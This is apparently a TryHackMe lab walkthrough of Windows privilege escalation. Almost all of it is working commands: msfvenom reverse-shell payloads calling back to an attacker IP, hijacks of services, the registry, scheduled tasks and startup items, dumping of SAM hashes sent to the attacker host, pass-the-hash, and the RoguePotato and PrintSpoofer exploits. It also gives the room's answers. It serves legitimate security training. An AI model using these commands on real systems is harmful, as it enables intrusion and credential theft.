
https://tryhackme.com/room/windows10privesc

Windows PrivEsc

This room is excellent for reinforcement of the most common Windows privilege escalation techniques.

Generate a reverse shell executable

On Kali, generate a reverse shell executable (reverse.exe) using msfvenom. Update the LHOST IP address accordingly:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=53 -f exe -o reverse.exe

Transfer the reverse.exe file to the C:\PrivEsc directory on Windows. There are many ways you could do this, and the simplest is to start an SMB server on Kali in the same directory as the file, and then use the standard Windows copy command to transfer the file.

On Kali, in the same directory as reverse.exe:

sudo python3 /usr/share/doc/python3-impacket/examples/smbserver.py kali .

On Windows (update the IP address with your Kali IP):

copy \\10.10.10.10\kali\reverse.exe C:\PrivEsc\reverse.exe

Test the reverse shell by setting up a netcat listener on Kali:

sudo nc -nvlp 53

Then run the reverse.exe executable on Windows and catch the shell:

C:\PrivEsc\reverse.exe

The reverse.exe executable will be used in many of the tasks, so do not delete it!

Service exploits - Insecure service permissions

Use accesschk.exe to check the user account’s permissions on the daclsvc service:

C:\PrivEsc\accesschk.exe /accepteula -uwcqv user daclsvc

Note that the “user” account has the permission to change the service config (SERVICE_CHANGE_CONFIG).

Query the service and note that it runs with SYSTEM privileges (SERVICE_START_NAME):

sc qc daclsvc

Modify the service config and set the BINARY_PATH_NAME (binpath) to the reverse.exe executable you created:

sc config daclsvc binpath= "\"C:\PrivEsc\reverse.exe\""

Start a listener on Kali and then start the service to spawn a reverse shell running with SYSTEM privileges:

net start daclsvc

Questions

What is the original BINARY_PATH_NAME of the daclsvc service?

Answer: C:\Program Files\DACL Service\daclservice.exe

Service exploits - Unquoted service path

Query the unquotedsvc service and note that it runs with SYSTEM privileges (SERVICE_START_NAME) and that the BINARY_PATH_NAME is unquoted and contains spaces.

sc qc unquotedsvc

Using accesschk.exe, note that the BUILTIN\Users group is allowed to write to the C:\Program Files\Unquoted Path Service\ directory:

C:\PrivEsc\accesschk.exe /accepteula -uwdq "C:\Program Files\Unquoted Path Service\"

Copy the reverse.exe executable you created to this directory and rename it Common.exe:

copy C:\PrivEsc\reverse.exe "C:\Program Files\Unquoted Path Service\Common.exe"

Start a listener on Kali and then start the service to spawn a reverse shell running with SYSTEM privileges:

net start unquotedsvc

Questions

What is the BINARY_PATH_NAME of the unquotedsvc service?

Answer: C:\Program Files\Unquoted Path Service\Common Files\unquotedpathservice.exe

Service exploits - Weak registry permissions

Query the regsvc service and note that it runs with SYSTEM privileges (SERVICE_START_NAME).

sc qc regsvc

Using accesschk.exe, note that the registry entry for the regsvc service is writable by the NT AUTHORITY\INTERACTIVE group (essentially all logged-on users):

C:\PrivEsc\accesschk.exe /accepteula -uvwqk HKLM\System\CurrentControlSet\Services\regsvc

Overwrite the ImagePath registry key to point to the reverse.exe executable you created:

reg add HKLM\SYSTEM\CurrentControlSet\services\regsvc /v ImagePath /t REG_EXPAND_SZ /d C:\PrivEsc\reverse.exe /f

Start a listener on Kali and then start the service to spawn a reverse shell running with SYSTEM privileges:

net start regsvc

Service exploits - Insecure service executables

Query the filepermsvc service and note that it runs with SYSTEM privileges (SERVICE_START_NAME).

sc qc filepermsvc

Using accesschk.exe, note that the service binary (BINARY_PATH_NAME) file is writable by everyone:

C:\PrivEsc\accesschk.exe /accepteula -quvw "C:\Program Files\File Permissions Service\filepermservice.exe"

Copy the reverse.exe executable you created and replace the filepermservice.exe with it:

copy C:\PrivEsc\reverse.exe "C:\Program Files\File Permissions Service\filepermservice.exe" /Y

Start a listener on Kali and then start the service to spawn a reverse shell running with SYSTEM privileges:

net start filepermsvc

Registry - AutoRuns

Query the registry for AutoRun executables:

reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Using accesschk.exe, note that one of the AutoRun executables is writable by everyone:

C:\PrivEsc\accesschk.exe /accepteula -wvu "C:\Program Files\Autorun Program\program.exe"

Copy the reverse.exe executable you created and overwrite the AutoRun executable with it:

copy C:\PrivEsc\reverse.exe "C:\Program Files\Autorun Program\program.exe" /Y

Start a listener on Kali and then restart the Windows VM. Open up a new RDP session to trigger a reverse shell running with admin privileges. You should not have to authenticate to trigger it, however if the payload does not fire, log in as an admin (admin/password123) to trigger it. Note that in a real world engagement, you would have to wait for an administrator to log in themselves!

rdesktop MACHINE_IP

Registry - AlwaysInstallElevated

Query the registry for AlwaysInstallElevated keys:

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

Note that both keys are set to 1 (0x1).

On Kali, generate a reverse shell Windows Installer (reverse.msi) using msfvenom. Update the LHOST IP address accordingly:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=53 -f msi -o reverse.msi

Transfer the reverse.msi file to the C:\PrivEsc directory on Windows (use the SMB server method from earlier). Start a listener on Kali and then run the installer to trigger a reverse shell running with SYSTEM privileges:

msiexec /quiet /qn /i C:\PrivEsc\reverse.msi

Passwords - Registry

The registry can be searched for keys and values that contain the word “password”:

reg query HKLM /f password /t REG_SZ /s

If you want to save some time, query this specific key to find admin AutoLogon credentials:

reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion\winlogon"

On Kali, use the winexe command to spawn a command prompt running with the admin privileges (update the password with the one you found):

winexe -U 'admin%password' //MACHINE_IP cmd.exe

Questions

What was the admin password found in the registry?

Answer: password123

Passwords - Saved creds

List any saved credentials:

cmdkey /list

Note that credentials for the admin user are saved. If they aren’t, run the C:\PrivEsc\savecred.bat script to refresh the saved credentials.

Start a listener on Kali and run the reverse.exe executable using runas with the admin user’s saved credentials:

runas /savecred /user:admin C:\PrivEsc\reverse.exe

Passwords - Security Account Manager (SAM)

The SAM and SYSTEM files can be used to extract user password hashes. This VM has insecurely stored backups of the SAM and SYSTEM files in the C:\Windows\Repair\ directory.

Transfer the SAM and SYSTEM files to the Kali VM:

copy C:\Windows\Repair\SAM \\10.10.10.10\kali\
copy C:\Windows\Repair\SYSTEM \\10.10.10.10\kali\

On Kali, clone the creddump7 repository (the one on Kali is outdated and will not dump hashes correctly for Windows 10!) and use it to dump out the hashes from the SAM and SYSTEM files:

git clone https://github.com/Tib3rius/creddump7
pip3 install pycrypto
python3 creddump7/pwdump.py SYSTEM SAM

Crack the admin NTLM hash using hashcat:

hashcat -m 1000 --force <hash> /usr/share/wordlists/rockyou.txt

Use the cracked password to log in as the admin using winexe or RDP.

Questions

What is the NTLM hash of the admin user?

Answer: a9fdfa038c4b75ebc76dc855dd74f0da

Passwords - Passing the Hash

Why crack a password hash when you can authenticate using the hash?

Use the full admin hash with pth-winexe to spawn a shell running as admin without needing to crack their password. The full hash includes both the LM and NTLM hash, separated by a colon:

pth-winexe -U 'admin%hash' //MACHINE_IP cmd.exe

Scheduled tasks

View the contents of the C:\DevTools\CleanUp.ps1 script:

type C:\DevTools\CleanUp.ps1

The script seems to be running as SYSTEM every minute. Using accesschk.exe, note that you have the ability to write to this file:

C:\PrivEsc\accesschk.exe /accepteula -quvw user C:\DevTools\CleanUp.ps1

Start a listener on Kali and then append a line to the C:\DevTools\CleanUp.ps1 which runs the reverse.exe executable created:

echo C:\PrivEsc\reverse.exe >> C:\DevTools\CleanUp.ps1

Wait for the Scheduled Task to run, which should trigger the reverse shell as SYSTEM.

Insecure GUI Apps

Start an RDP session as the “user” account:

rdesktop -u user -p password321 MACHINE_IP

Double-click the AdminPaint shortcut on the Desktop. Once it is running, open a command prompt and note that Paint is running with admin privileges:

tasklist /V | findstr mspaint.exe

In Paint, click File -> Open. In the open file dialog box, click in the navigation input and paste: file://c:/windows/system32/cmd.exe. Press Enter to spawn a command prompt running with admin privileges.

Startup Apps

Using accesschk.exe, note that the BUILTIN\Users group can write files to the StartUp directory:

C:\PrivEsc\accesschk.exe /accepteula -d "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp"

Using cscript, run the C:\PrivEsc\CreateShortcut.vbs script which should create a new shortcut to the reverse.exe executable in the StartUp directory:

cscript C:\PrivEsc\CreateShortcut.vbs

Start a listener on Kali, and then simulate an admin logon using RDP and the credentials previously extracted:

rdesktop -u admin MACHINE_IP

A shell running as admin should connect back to your listener.

Token Impersonation - Rogue Potato

Set up a socat redirector on Kali, forwarding Kali port 135 to port 9999 on Windows:

sudo socat tcp-listen:135,reuseaddr,fork tcp:MACHINE_IP:9999

Start a listener on Kali. Simulate getting a service account shell by logging into RDP as the admin user, starting an elevated command prompt (Right-click -> Run as Administrator) and using PSExec64.exe to trigger the reverse.exe executable you created with the permissions of the local service account:

C:\PrivEsc\PSExec64.exe -i -u "nt authority\local service" C:\PrivEsc\reverse.exe

Start another listener on Kali, and in the local service reverse shell triggered, run the RoguePotato exploit to trigger a second reverse shell running with SYSTEM privileges (update the IP address with your Kali IP accordingly):

C:\PrivEsc\RoguePotato.exe -r 10.10.10.10 -e "C:\PrivEsc\reverse.exe" -l 9999

Questions

Name one user privilege that allows this exploit to work.

Answer: SeImpersonatePrivilege

Name the other user privilege that allows this exploit to work.

Answer: SeAssignPrimaryTokenPrivilege

Token Impersonation - PrintSpoofer

Start a listener on Kali. Simulate getting a service account shell by logging into RDP as the admin user, starting an elevated command prompt (Right-click -> Run as Administrator) and using PSExec64.exe to trigger the reverse.exe executable created with the permissions of the local service account:

C:\PrivEsc\PSExec64.exe -i -u "nt authority\local service" C:\PrivEsc\reverse.exe

Start another listener on Kali. And in the local service reverse shell triggered, run the PrintSpoofer exploit to trigger a second reverse shell running with SYSTEM privileges (update the IP address with your Kali IP accordingly):

C:\PrivEsc\PrintSpoofer.exe -c "C:\PrivEsc\reverse.exe" -i